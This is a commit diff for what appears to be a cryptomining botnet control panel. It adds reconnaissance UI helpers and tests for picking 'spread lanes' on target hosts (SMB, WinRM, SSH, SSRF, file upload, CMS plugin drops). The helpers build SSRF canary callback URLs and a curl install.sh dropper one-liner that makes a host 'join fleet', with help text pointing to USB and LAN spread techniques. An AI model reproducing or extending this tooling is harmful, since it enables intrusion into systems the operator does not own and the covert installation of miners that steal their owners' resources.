Deploy Recon UI: consume new recon APIs with streaming results and action matrix
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 12:24:10 -07:00
parent 49c24e611c
commit 2cad49d82c
13 changed files with 663 additions and 34 deletions

View File

@@ -1,9 +1,12 @@
import { describe, expect, it } from 'vitest';
import { describe, expect, it } from 'vitest';
import {
buildActionMatrix,
buildReconFindingCards,
buildReconMermaid,
buildSsrfCanaryUrl,
crucibleSpreadLink,
curlInstallLine,
isLocalScanUnreachableError,
reconScanBody,
ssrfConfidence,
} from './deployRecon';
@@ -26,9 +29,41 @@ describe('deployRecon helpers', () => {
port: 443,
scheme: 'https',
paths: ['/admin'],
profile: 'quick',
});
});
it('maps scan form with profile and port bundle', () => {
const body = reconScanBody('10.0.0.1', 80, false, '', 'deep', 'web');
expect(body.profile).toBe('deep');
expect(body.profiles).toEqual(['web']);
});
it('arms ssrf canary for ssrf_only profile', () => {
const body = reconScanBody('h', 80, false, '', 'ssrf_only');
expect(body.ssrf_canary).toBe(true);
});
it('builds HTTPS canary ping URL', () => {
const url = buildSsrfCanaryUrl('http://deck.example', 'scan-1');
expect(url).toBe('https://deck.example/recon/ping/scan-1');
});
it('detects unreachable scan errors', () => {
expect(isLocalScanUnreachableError('dial tcp: i/o timeout')).toBe(true);
expect(isLocalScanUnreachableError('permission denied')).toBe(false);
});
it('builds action matrix from recommendations', () => {
const report = {
host: 'x',
scanned_at: 't',
ports: [],
recommendations: [{ lane: 'winrm', reason: 'open', priority: 10 }],
} as ReconScanReport;
expect(buildActionMatrix(report)[0].lane).toBe('winrm');
});
it('builds curl one-liner with pinned build', () => {
const line = curlInstallLine('https://deck.example', 'build-abc');
expect(line).toContain('curl -sL');
@@ -65,4 +100,21 @@ describe('deployRecon helpers', () => {
expect(cards.some((c) => c.kind === 'cms')).toBe(true);
expect(buildReconMermaid(report.ports, cards)).toContain('flowchart');
});
it('prefers canary URL in SSRF finding card', () => {
const report: ReconScanReport = {
host: 'lab.local',
scanned_at: '2026-06-07T12:00:00Z',
ports: [],
canary: {
scan_id: 's1',
url: 'https://deck.example/recon/ping/s1',
status: 'pending',
paste_target: 'https://deck.example/recon/ping/s1',
},
crawl: { pages_fetched: 1, ssrf_score: 10, url_fields: [] },
};
const cards = buildReconFindingCards(report, 'https://deck.example');
expect(cards.find((c) => c.kind === 'ssrf')?.probe_url).toBe('https://deck.example/recon/ping/s1');
});
});

View File

@@ -1,9 +1,13 @@
import { shOneliner, pinQuery } from './emberwake';
import { combinedDropperQuery, shOneliner } from './emberwake';
import { SPREAD_TECHNIQUES_DOC } from './spreadTechniques';
import type {
ReconAdminSurfaceFinding,
ReconConfidence,
ReconCrawlReport,
ReconPortResult,
ReconScanProfile,
ReconScanReport,
ReconScanRequest,
ReconWebFindingCard,
} from '../types/recon';
@@ -21,20 +25,250 @@ export const RECON_PORT_HINTS: Record<number, string> = {
export const FLEET_SPREAD_PORTS = new Set([22, 445, 5985, 5986]);
export type ScanProfileId = ReconScanProfile;
export const SCAN_PROFILES: Record<
ScanProfileId,
{ label: string; detail: string; ssrfCanaryDefault?: boolean }
> = {
quick: {
label: 'Quick',
detail: 'Top fleet TCP ports plus a shallow crawl (1 page).',
},
deep: {
label: 'Deep',
detail: 'Full fleet port matrix, banners, and multi-page crawl.',
},
ssrf_only: {
label: 'SSRF only',
detail: 'Skip port dial; deep crawl for URL-like form fields.',
ssrfCanaryDefault: true,
},
};
export type PortBundleId = 'fleet' | 'web' | 'windows' | 'linux' | 'cloud_metadata';
export const PORT_BUNDLES: Record<PortBundleId, { label: string; profiles: string[] }> = {
fleet: { label: 'Fleet default', profiles: [] },
web: { label: 'Web surface', profiles: ['web'] },
windows: { label: 'Windows spread', profiles: ['windows'] },
linux: { label: 'Linux / SSH', profiles: ['linux'] },
cloud_metadata: { label: 'Cloud metadata', profiles: ['cloud_metadata'] },
};
export function reconScanBody(
host: string,
port: number,
https: boolean,
pathPrefix: string,
): { host: string; port: number; scheme: string; paths?: string[] } {
profile: ScanProfileId = 'quick',
portBundle: PortBundleId = 'fleet',
ssrfCanary = false,
): ReconScanRequest {
const prefix = pathPrefix.trim();
const paths = prefix ? [prefix.startsWith('/') ? prefix : `/${prefix}`] : undefined;
return {
const bundle = PORT_BUNDLES[portBundle] ?? PORT_BUNDLES.fleet;
const body: ReconScanRequest = {
host: host.trim(),
port: port > 0 ? port : 80,
scheme: https ? 'https' : 'http',
paths,
profile,
};
if (bundle.profiles.length > 0) {
body.profiles = bundle.profiles;
}
if (ssrfCanary || SCAN_PROFILES[profile]?.ssrfCanaryDefault) {
body.ssrf_canary = true;
}
return body;
}
const UNREACHABLE_PATTERNS = [
'no route to host',
'connection refused',
'connection timed out',
'i/o timeout',
'network is unreachable',
'host unreachable',
'dial tcp',
'context deadline exceeded',
];
export function isLocalScanUnreachableError(message: string): boolean {
const lower = message.toLowerCase();
return UNREACHABLE_PATTERNS.some((p) => lower.includes(p));
}
export function ssrfCanaryToken(scanId: string): string {
return scanId.trim();
}
export function buildSsrfCanaryUrl(deckOrigin: string, scanId: string): string {
let base = deckOrigin.trim().replace(/\/$/, '');
if (!base) base = 'https://localhost';
if (base.startsWith('http://')) base = `https://${base.slice('http://'.length)}`;
else if (!base.startsWith('https://')) base = `https://${base}`;
try {
const u = new URL(base);
u.protocol = 'https:';
u.pathname = `/recon/ping/${encodeURIComponent(scanId.trim())}`;
u.search = '';
u.hash = '';
return u.toString();
} catch {
return `https://localhost/recon/ping/${encodeURIComponent(scanId.trim())}`;
}
}
export interface ReconFormFingerprintCard {
id: string;
page_url: string;
name: string;
score: number;
matches: string[];
paste_target: string;
}
export function buildFormFingerprintCards(report: ReconScanReport, deckOrigin: string): ReconFormFingerprintCard[] {
const crawl = report.crawl;
if (!crawl?.fingerprint_fields?.length) return [];
const fallback = report.canary?.url
?? (report.scan_id ? buildSsrfCanaryUrl(deckOrigin, report.scan_id) : `${deckOrigin.replace(/\/$/, '')}/get`);
return crawl.fingerprint_fields.map((f, i) => ({
id: `fp-${i}-${f.name}`,
page_url: f.page_url,
name: f.name,
score: f.score,
matches: f.matches ?? [],
paste_target: f.paste_target?.trim() || fallback,
}));
}
export type AdminSurfaceMapRow = ReconAdminSurfaceFinding;
export function buildAdminSurfaceMap(report: ReconScanReport): AdminSurfaceMapRow[] {
return report.admin_surface ?? [];
}
export function buildTechStackHints(report: ReconScanReport) {
const seen = new Set<string>();
const out: import('../types/recon').ReconStackEntry[] = [];
for (const e of [...(report.stack ?? []), ...(report.crawl?.stack ?? [])]) {
const key = `${e.name}|${e.source}`;
if (seen.has(key)) continue;
seen.add(key);
out.push(e);
}
return out;
}
export interface ReconActionRow {
id: string;
lane: string;
title: string;
reason: string;
actions: string[];
}
export function buildActionMatrix(report: ReconScanReport): ReconActionRow[] {
const rows: ReconActionRow[] = [];
const recs = [...(report.recommendations ?? [])].sort((a, b) => b.priority - a.priority);
for (const r of recs) {
const lane = (r.lane || r.template || 'spread').trim();
rows.push({
id: `rec-${lane}`,
lane,
title: lane,
reason: r.reason,
actions: ['playbook', 'crucible', 'copy_curl'],
});
}
for (const p of report.ports) {
if (!p.open) continue;
const hint = RECON_PORT_HINTS[p.port];
if (!hint) continue;
const lane = portLane(p.port);
if (rows.some((x) => x.lane === lane)) continue;
rows.push({
id: `port-${p.port}`,
lane,
title: `TCP ${p.port}`,
reason: hint,
actions: ['playbook', 'crucible'],
});
}
if (report.crawl?.ssrf_score && !rows.some((x) => x.lane === 'ssrf')) {
rows.push({
id: 'ssrf-crawl',
lane: 'ssrf',
title: 'SSRF crawl',
reason: `SSRF score ${report.crawl.ssrf_score} from URL-like inputs.`,
actions: ['playbook', 'copy_probe'],
});
}
return rows;
}
function portLane(port: number): string {
if (port === 22) return 'linux-lotl';
if (port === 445) return 'smb';
if (port === 5985 || port === 5986) return 'winrm';
if (port === 80 || port === 443 || port === 8080 || port === 8443) return 'bits_curl';
return `tcp-${port}`;
}
export interface PlaybookTreeNode {
id: string;
label: string;
href?: string;
children?: PlaybookTreeNode[];
}
export function buildPlaybookTree(report: ReconScanReport): PlaybookTreeNode[] {
const host = report.host.trim();
const children: PlaybookTreeNode[] = [];
for (const row of buildActionMatrix(report)) {
children.push({
id: row.lane,
label: `${row.title} - ${row.reason}`,
href: crucibleSpreadLink(host, row.lane),
});
}
children.push({
id: 'spread-doc',
label: 'Spread techniques reference',
href: SPREAD_TECHNIQUES_DOC,
});
return [{ id: 'root', label: host, children }];
}
export async function* streamRevealPorts(
ports: ReconPortResult[],
chunkSize = 4,
delayMs = 40,
): AsyncGenerator<ReconPortResult[]> {
const sorted = [...ports].sort((a, b) => a.port - b.port);
let acc: ReconPortResult[] = [];
for (let i = 0; i < sorted.length; i += 1) {
acc = [...acc, sorted[i]];
if (acc.length % chunkSize === 0 || i === sorted.length - 1) {
yield acc;
if (i < sorted.length - 1) {
await new Promise((r) => setTimeout(r, delayMs));
}
}
}
}
export function suggestDeployKitFinding(report: ReconScanReport): string {
if (report.deploy_kit_lane?.trim()) return report.deploy_kit_lane.trim();
const top = [...(report.recommendations ?? [])].sort((a, b) => b.priority - a.priority)[0];
if (top?.lane) return top.lane;
for (const p of report.ports) {
if (p.open && FLEET_SPREAD_PORTS.has(p.port)) return portLane(p.port);
}
return '';
}
export function ssrfConfidence(score: number): ReconConfidence {
@@ -43,27 +277,38 @@ export function ssrfConfidence(score: number): ReconConfidence {
return 'low';
}
function ssrfProbeUrl(report: ReconScanReport, deckOrigin: string, crawl: ReconCrawlReport): string {
if (report.canary?.url) return report.canary.url;
if (report.canary?.paste_target) return report.canary.paste_target;
if (report.scan_id) return buildSsrfCanaryUrl(deckOrigin, report.scan_id);
const field = crawl.url_fields?.[0];
const drop = `${deckOrigin.replace(/\/$/, '')}/get`;
if (!field) return drop;
const sep = field.page_url.includes('?') ? '&' : '?';
return `${field.page_url}${sep}${field.name}=${encodeURIComponent(drop)}`;
}
export function buildReconFindingCards(report: ReconScanReport, deckOrigin: string): ReconWebFindingCard[] {
const crawl = report.crawl;
const cards: ReconWebFindingCard[] = [];
if (!crawl) return cards;
if (crawl.ssrf_score > 0 || (crawl.url_fields?.length ?? 0) > 0) {
if (crawl.ssrf_score > 0 || (crawl.url_fields?.length ?? 0) > 0 || report.canary) {
const field = crawl.url_fields?.[0];
const probe = field
? `${field.page_url}${field.page_url.includes('?') ? '&' : '?'}${field.name}=${encodeURIComponent(`${deckOrigin.replace(/\/$/, '')}/get`)}`
: `${deckOrigin.replace(/\/$/, '')}/get`;
const probe = ssrfProbeUrl(report, deckOrigin, crawl);
cards.push({
id: 'ssrf',
kind: 'ssrf',
title: 'SSRF candidate fields',
detail: field
? `Reflective field "${field.name}" on ${field.page_url} — paste probe URL into the form.`
: `SSRF score ${crawl.ssrf_score} from URL-like inputs across crawled pages.`,
confidence: ssrfConfidence(crawl.ssrf_score),
title: report.canary ? 'SSRF canary armed' : 'SSRF candidate fields',
detail: report.canary
? `Paste canary URL into reflective fields; server confirms fetch at ${report.canary.status}.`
: field
? `Reflective field "${field.name}" on ${field.page_url} - paste probe URL into the form.`
: `SSRF score ${crawl.ssrf_score} from URL-like inputs across crawled pages.`,
confidence: ssrfConfidence(crawl.ssrf_score || (report.canary ? 40 : 0)),
spread_lane: 'ssrf',
probe_url: probe,
mermaid: 'flowchart LR\n form[vuln field] --> fetch[server fetch]\n fetch --> deck[install.sh /get]',
mermaid: 'flowchart LR\n form[vuln field] --> fetch[server fetch]\n fetch --> deck[canary /get]',
});
}
@@ -74,7 +319,7 @@ export function buildReconFindingCards(report: ReconScanReport, deckOrigin: stri
id: 'upload',
kind: 'file_upload',
title: 'File upload surface',
detail: `${u.method?.toUpperCase() ?? 'POST'} ${u.action || u.page_url} stage dropper when extension policy allows.`,
detail: `${u.method?.toUpperCase() ?? 'POST'} ${u.action || u.page_url} - stage dropper when extension policy allows.`,
confidence: u.multipart || u.has_file_input ? 'high' : 'medium',
spread_lane: 'stage_fetch',
mermaid: 'flowchart LR\n browser[multipart form] --> upload[file input]\n upload --> stage[stage_fetch]',
@@ -86,7 +331,7 @@ export function buildReconFindingCards(report: ReconScanReport, deckOrigin: stri
id: `cms-${cms}`,
kind: 'cms',
title: `${cms} CMS hint`,
detail: `HTML/path signatures match ${cms} supply-chain plugin or theme drop may apply.`,
detail: `HTML/path signatures match ${cms} - supply-chain plugin or theme drop may apply.`,
confidence: cms === 'wordpress' ? 'high' : 'medium',
spread_lane: cms,
mermaid: `flowchart LR\n cms[${cms}] --> plugin[supply chain]\n plugin --> curl[curl install.sh]`,
@@ -98,7 +343,7 @@ export function buildReconFindingCards(report: ReconScanReport, deckOrigin: stri
id: 'web-live',
kind: 'info',
title: 'Web surface live',
detail: `Crawled ${crawl.pages_fetched} page(s) browser curl one-liner may work on owned hosts.`,
detail: `Crawled ${crawl.pages_fetched} page(s) - browser curl one-liner may work on owned hosts.`,
confidence: 'low',
spread_lane: 'bits_curl',
mermaid: 'flowchart LR\n browser[operator] --> curl[curl install.sh]\n curl --> agent[join fleet]',
@@ -115,7 +360,7 @@ export function buildReconMermaid(ports: ReconPortResult[], cards: ReconWebFindi
if (!p.open) continue;
open++;
const hint = RECON_PORT_HINTS[p.port] ?? `tcp/${p.port}`;
lines.push(` target --> p${p.port}["${p.port} open · ${hint}"]`);
lines.push(` target --> p${p.port}["${p.port} open - ${hint}"]`);
}
if (open === 0) lines.push(' target --> closed[no fleet ports open]');
cards.slice(0, 3).forEach((c, i) => {
@@ -130,8 +375,8 @@ export function crucibleSpreadLink(host: string, finding?: string): string {
return `/crucible?${q.toString()}`;
}
export function curlInstallLine(serverBase: string, pinnedBuildId: string): string {
export function curlInstallLine(serverBase: string, pinnedBuildId: string, campaignSlug = ''): string {
const base = serverBase.replace(/\/$/, '');
const q = pinnedBuildId ? pinQuery(pinnedBuildId) : '';
const q = combinedDropperQuery(pinnedBuildId, campaignSlug);
return shOneliner(base, q);
}

View File

@@ -1,4 +1,4 @@
/** Maps HelpTip / FieldHint field ids to wiki doc section anchors. */
/** Maps HelpTip / FieldHint field ids to wiki doc section anchors. */
export const DOC_ANCHORS: Record<string, string> = {
// Calibrate
calibrate_wallet: '/docs/#calibrate',
@@ -14,7 +14,7 @@ export const DOC_ANCHORS: Record<string, string> = {
sign_cert_thumbprint: '/docs/#forge',
sign_timestamp_url: '/docs/#forge',
// Forge core
// Forge — core
worker_name: '/docs/#forge',
server_url: '/docs/#quick-start',
wallet: '/docs/#mining',
@@ -69,7 +69,7 @@ export const DOC_ANCHORS: Record<string, string> = {
sigil_scramble: '/docs/#forge',
https_beacon_fallback: '/docs/#agent',
// Forge spread & ops
// Forge — spread & ops
usb_spread: '/docs/SPREAD_TECHNIQUES.html#usb',
share_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
auto_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
@@ -147,7 +147,19 @@ export const DOC_ANCHORS: Record<string, string> = {
dr_overview: '/docs/SPREAD_TECHNIQUES.html#browser',
dr_port_matrix: '/docs/SPREAD_TECHNIQUES.html#lan',
dr_path_prefix: '/docs/SPREAD_TECHNIQUES.html#browser',
crucible_full_audit: '/docs/#crucible-ops',
dr_scan_profile: '/docs/SPREAD_TECHNIQUES.html#browser',
dr_port_bundle: '/docs/SPREAD_TECHNIQUES.html#lan',
dr_form_fingerprint: '/docs/SPREAD_TECHNIQUES.html#browser',
dr_ssrf_canary: '/docs/SPREAD_TECHNIQUES.html#browser',
dr_upload_admin_map: '/docs/SPREAD_TECHNIQUES.html#browser',
dr_tech_stack: '/docs/SPREAD_TECHNIQUES.html#browser',
dr_deploy_kit: '/docs/SPREAD_TECHNIQUES.html#browser',
dr_banner_grab: '/docs/SPREAD_TECHNIQUES.html#lan',
dr_relay_scan: '/docs/SPREAD_TECHNIQUES.html#lan',
dr_action_matrix: '/docs/SPREAD_TECHNIQUES.html#browser',
dr_playbook_wizard: '/docs/SPREAD_TECHNIQUES.html#browser',
dr_history: '/docs/SPREAD_TECHNIQUES.html#browser',
dr_export_json: '/docs/SPREAD_TECHNIQUES.html#browser', crucible_full_audit: '/docs/#crucible-ops',
bm_pin_dropper: '/docs/#build-manager',
bm_dropper_oneliner: '/docs/#build-manager',
pt_path_tracer: '/docs/#path-tracer',
@@ -176,3 +188,4 @@ export const DOC_ANCHORS: Record<string, string> = {
export function docAnchorForField(field: string): string | undefined {
return DOC_ANCHORS[field];
}

View File

@@ -119,6 +119,19 @@ describe('UI_HELP', () => {
'dr_fleet_subnet_filter',
'dr_fleet_port_filter',
'dr_fleet_sort',
'dr_export_json',
'dr_history',
'dr_playbook_wizard',
'dr_action_matrix',
'dr_relay_scan',
'dr_banner_grab',
'dr_deploy_kit',
'dr_tech_stack',
'dr_upload_admin_map',
'dr_ssrf_canary',
'dr_form_fingerprint',
'dr_port_bundle',
'dr_scan_profile',
] as const;
it('defines help for every documented UI key', () => {

View File

@@ -245,4 +245,30 @@ export const UI_HELP: Record<string, string> = {
'Show only hosts with a given TCP port open — e.g. 22 for SSH LOTL, 5985 for WinRM spread candidates.',
dr_fleet_sort:
'Order the table by last_seen (newest first by default) or IP. Live WS updates bump last_seen without reordering until you refresh sort.',
dr_scan_profile:
'Quick runs the default fleet port matrix and a shallow crawl. Deep adds banners, admin paths, and more pages. SSRF only skips port dial and arms the canary for reflective URL fields.',
dr_port_bundle:
'Optional port profile sent as profiles[] on POST /api/v1/recon/scan (web, windows, linux, cloud_metadata). Fleet default uses the server quick matrix.',
dr_form_fingerprint:
'High-scoring form fields from the crawl with suggested paste targets (SSRF canary URL or /get probe).',
dr_ssrf_canary:
'HTTPS callback URL on your control server (/recon/ping/{scan_id}). Poll status and listen for recon_canary_hit over the operator WebSocket.',
dr_upload_admin_map:
'Merged upload-hunter hits and probed admin/login paths with HTTP status and signal tags.',
dr_tech_stack:
'Stack hints from port banners and HTML crawl (framework, CMS, server headers).',
dr_deploy_kit:
'Suggested join lane for GET /api/v1/recon/deploy-kit on this host after scan (open ports + crawl signals).',
dr_banner_grab:
'Service banners and HTTP titles from open web ports during deep scans.',
dr_relay_scan:
'POST /api/v1/recon/relay-scan from a fleet seed on the target /24 when the control server cannot reach the host directly.',
dr_action_matrix:
'Ranked spread lanes from recommendations and open ports with quick links to playbook and Crucible spread tab.',
dr_playbook_wizard:
'Modal tree of recommended lanes for the current target with Crucible deep links.',
dr_history:
'Server and local scan history for the target host; click a row to reload that report in the UI.',
dr_export_json:
'Download the raw ReconScanReport JSON for ticketing or offline diff.',
};